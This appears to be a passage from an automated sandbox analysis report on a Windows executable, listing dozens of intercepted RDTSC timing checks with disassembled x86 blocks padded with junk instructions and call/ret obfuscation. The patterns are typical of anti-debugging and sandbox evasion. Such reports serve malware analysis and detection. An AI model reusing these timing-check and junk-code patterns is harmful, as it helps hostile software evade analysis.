Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFC77A second address: CFC79B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FB698BF2C46h 0x0000000e jmp 00007FB698BF2C53h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFC79B second address: CFC7A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CFC7A5 second address: CFC7F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C51h 0x00000007 jp 00007FB698BF2C46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 pushad 0x0000001a jmp 00007FB698BF2C57h 0x0000001f jno 00007FB698BF2C46h 0x00000025 pushad 0x00000026 popad 0x00000027 push edx 0x00000028 pop edx 0x00000029 popad 0x0000002a pushad 0x0000002b pushad 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC671C second address: CC6720 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC6720 second address: CC6732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB698BF2C4Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC81EF second address: CC81FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB698CE01EEh 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D04ACF second address: D04AD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FB698BF2C46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D04AD9 second address: D04B19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698CE01F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FB698CE01F1h 0x0000000f jmp 00007FB698CE01EBh 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB698CE01F5h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D04B19 second address: D04B21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D04B21 second address: D04B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D04EE5 second address: D04EFA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 jmp 00007FB698BF2C4Bh 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D05E8B second address: D05E90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D05E90 second address: D05EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB698BF2C59h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D062B8 second address: D062BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D062BF second address: D062E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FB698BF2C52h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D062E1 second address: D062E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D06A8F second address: D06A96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D06D4B second address: D06D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FB698CE01ECh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D06FB1 second address: D06FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D09C65 second address: D09C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D09C69 second address: D09C82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0A6AB second address: D0A6B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0BA50 second address: D0BA54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0C7BF second address: D0C7DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB698CE01F7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D0FEF1 second address: D0FEF6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D11EB6 second address: D11EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FB698CE01E8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D3026h], edi 0x0000002c xchg eax, esi 0x0000002d push eax 0x0000002e push edx 0x0000002f jp 00007FB698CE01ECh 0x00000035 jbe 00007FB698CE01E6h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D11222 second address: D1122C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FB698BF2C46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D12DDB second address: D12DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D14FE5 second address: D15004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB698BF2C56h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D15004 second address: D15008 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1408D second address: D1409E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FB698BF2C46h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D176F8 second address: D17702 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB698CE01ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D151F2 second address: D151F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D17702 second address: D17711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D186D7 second address: D186DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D178CB second address: D178D5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB698CE01E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D186DB second address: D1873D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 pushad 0x00000009 pushad 0x0000000a or dword ptr [ebp+12445B6Ch], edx 0x00000010 jmp 00007FB698BF2C55h 0x00000015 popad 0x00000016 jns 00007FB698BF2C4Bh 0x0000001c popad 0x0000001d push 00000000h 0x0000001f mov edi, dword ptr [ebp+122D368Dh] 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push edx 0x0000002a call 00007FB698BF2C48h 0x0000002f pop edx 0x00000030 mov dword ptr [esp+04h], edx 0x00000034 add dword ptr [esp+04h], 00000019h 0x0000003c inc edx 0x0000003d push edx 0x0000003e ret 0x0000003f pop edx 0x00000040 ret 0x00000041 xchg eax, esi 0x00000042 pushad 0x00000043 push edi 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1873D second address: D18746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D18746 second address: D1875C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jmp 00007FB698BF2C4Ah 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D188DE second address: D188E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D188E2 second address: D188E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1C947 second address: D1C94D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1C94D second address: D1C9BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D3544h], ecx 0x0000000d and ebx, dword ptr [ebp+122D2002h] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007FB698BF2C48h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D34B2h], edi 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edx 0x0000003a call 00007FB698BF2C48h 0x0000003f pop edx 0x00000040 mov dword ptr [esp+04h], edx 0x00000044 add dword ptr [esp+04h], 00000017h 0x0000004c inc edx 0x0000004d push edx 0x0000004e ret 0x0000004f pop edx 0x00000050 ret 0x00000051 mov dword ptr [ebp+122D3551h], eax 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a push esi 0x0000005b jmp 00007FB698BF2C4Ah 0x00000060 pop esi 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1D902 second address: D1D906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1D906 second address: D1D92A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007FB698BF2C46h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1E9CF second address: D1EA52 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a jc 00007FB698CE01FAh 0x00000010 jmp 00007FB698CE01F4h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007FB698CE01E8h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 pushad 0x00000032 mov dword ptr [ebp+122D296Ah], ebx 0x00000038 popad 0x00000039 or dword ptr [ebp+122D238Ah], ebx 0x0000003f push 00000000h 0x00000041 jmp 00007FB698CE01F1h 0x00000046 xchg eax, esi 0x00000047 jmp 00007FB698CE01F4h 0x0000004c push eax 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1EA52 second address: D1EA56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1BA71 second address: D1BA80 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1CBCF second address: D1CBD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1CBD3 second address: D1CBD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1DB85 second address: D1DB89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1DB89 second address: D1DB8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1DB8F second address: D1DBAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB698BF2C58h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1FC1C second address: D1FC27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1FC27 second address: D1FC2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D21A58 second address: D21A86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB698CE01F5h 0x00000008 jmp 00007FB698CE01ECh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pushad 0x00000015 popad 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D21C00 second address: D21C04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D21C04 second address: D21C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FB698CE01F5h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D2D412 second address: D2D433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ecx 0x00000007 jmp 00007FB698BF2C52h 0x0000000c jg 00007FB698BF2C4Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D2D433 second address: D2D45F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB698CE01F2h 0x0000000d jmp 00007FB698CE01F2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D2D45F second address: D2D463 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D2D5A8 second address: D2D5AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D2D5AC second address: D2D5C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FB698BF2C52h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D30EC5 second address: D30EC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D30F5A second address: D30F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FB698BF2C53h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 popad 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jo 00007FB698BF2C48h 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3110A second address: D3110E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3110E second address: D31146 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB698BF2C58h 0x0000000e popad 0x0000000f push eax 0x00000010 je 00007FB698BF2C50h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D31146 second address: D31155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D31155 second address: D3115F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB698BF2C46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3115F second address: D31169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FB698CE01E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D31169 second address: D31179 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D32436 second address: D32457 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FB698CE01F8h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC4C36 second address: CC4C42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FB698BF2C46h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3AB4F second address: D3AB65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007FB698CE01E6h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3AB65 second address: D3AB81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB698BF2C58h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D397C7 second address: D397CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D397CB second address: D397DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB698BF2C46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D397DA second address: D397E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D39E87 second address: D39E92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FB698BF2C46h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D39E92 second address: D39EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB698CE01EFh 0x0000000b popad 0x0000000c jo 00007FB698CE0200h 0x00000012 jmp 00007FB698CE01F4h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3A1A8 second address: D3A1AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3A1AC second address: D3A1B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3A1B9 second address: D3A1E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB698BF2C54h 0x00000009 popad 0x0000000a jmp 00007FB698BF2C52h 0x0000000f popad 0x00000010 push esi 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3A35D second address: D3A363 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3A4F9 second address: D3A4FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3A4FF second address: D3A519 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB698CE01F2h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3A66D second address: D3A673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3A7C8 second address: D3A808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB698CE01E6h 0x0000000a jns 00007FB698CE01E6h 0x00000010 jnc 00007FB698CE01E6h 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007FB698CE01F7h 0x0000001d jmp 00007FB698CE01EAh 0x00000022 push edx 0x00000023 pop edx 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
